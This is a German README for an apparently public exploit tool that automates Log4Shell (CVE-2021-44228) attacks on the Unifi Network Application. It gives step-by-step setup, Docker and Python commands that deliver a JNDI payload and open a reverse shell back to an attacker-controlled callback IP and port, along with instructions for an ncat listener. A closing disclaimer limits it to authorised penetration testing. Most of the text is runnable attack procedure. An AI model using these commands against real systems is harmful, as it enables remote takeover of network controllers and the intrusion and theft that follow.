
Ausnutzung von CVE-2021-44228 in der Unifi Network Application für Remote-Codeausführung und mehr.
Ausnutzung von CVE-2021-44228 in der Unifi Network Application für Remote-Code-Ausführung und mehr.
Proof-of-Concepts für diese Schwachstelle sind verstreut und müssen manuell durchgeführt werden. Dieses Repository automatisiert den Exploit-Prozess. Siehe den Blogbeitrag oben für Anleitungen zur Post-Exploitation.
Dieses Repository kann manuell oder mit Docker verwendet werden.
Um den Exploit manuell herunterzuladen und auszuführen, führen Sie die folgenden Schritte aus. Stellen Sie zunächst sicher, dass Java und Maven auf Ihrem Angreifer-Host installiert sind. Führen Sie dazu unter Debian-basierten Betriebssystemen den folgenden Befehl mit apt aus:
apt update && apt install openjdk-11-jre maven
Klonen Sie das GitHub-Repository und installieren Sie alle Python-Anforderungen:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && pip3 install -r requirements.txt
Führen Sie vom Root-Verzeichnis des Log4jUnifi-Repositorys aus den folgenden Befehl aus, um das Rogue-Jndi-Projekt zu kompilieren:
mvn package -f utils/rogue-jndi/
Stellen Sie zunächst sicher, dass Docker auf Ihrem Angreifer-Host installiert ist. (Ich werde Ihnen nicht erklären, wie das geht)
Führen Sie anschließend den folgenden Befehl aus, um das Repository zu klonen und das Docker-Image zu erstellen, das wir verwenden werden.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi \
&& cd Log4jUnifi && docker build -t log4junifi .
Um den Container auszuführen, führen Sie einen Befehl ähnlich dem folgenden aus und hängen Sie Ihre Befehlszeilenoptionen an. Beachten Sie, dass der Container die Reverse-Shell nicht abfängt. Sie müssen in einer separaten Shell-Sitzung einen ncat-Listener erstellen:
docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi \
-u https://unifi.acme.com:8443 -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -u URL -i CALLBACK -p PORT
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Unifi Network Manager base URL
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
Erhalten Sie eine Reverse-Shell mithilfe des auf Ihrem lokalen System installierten Tools:
python3 exploit.py -u https://unifi.acme.com:8443 -i 10.10.10.1 -p 4444
Dieses Tool ist für den Einsatz bei Penetrationstests konzipiert. Die Verwendung dieses Tools zum Angriff auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Es liegt in der Verantwortung des Endbenutzers, alle geltenden lokalen, staatlichen und bundesstaatlichen Gesetze einzuhalten. Die Entwickler übernehmen keine Haftung und sind nicht für jeglichen Missbrauch dieses Programms verantwortlich.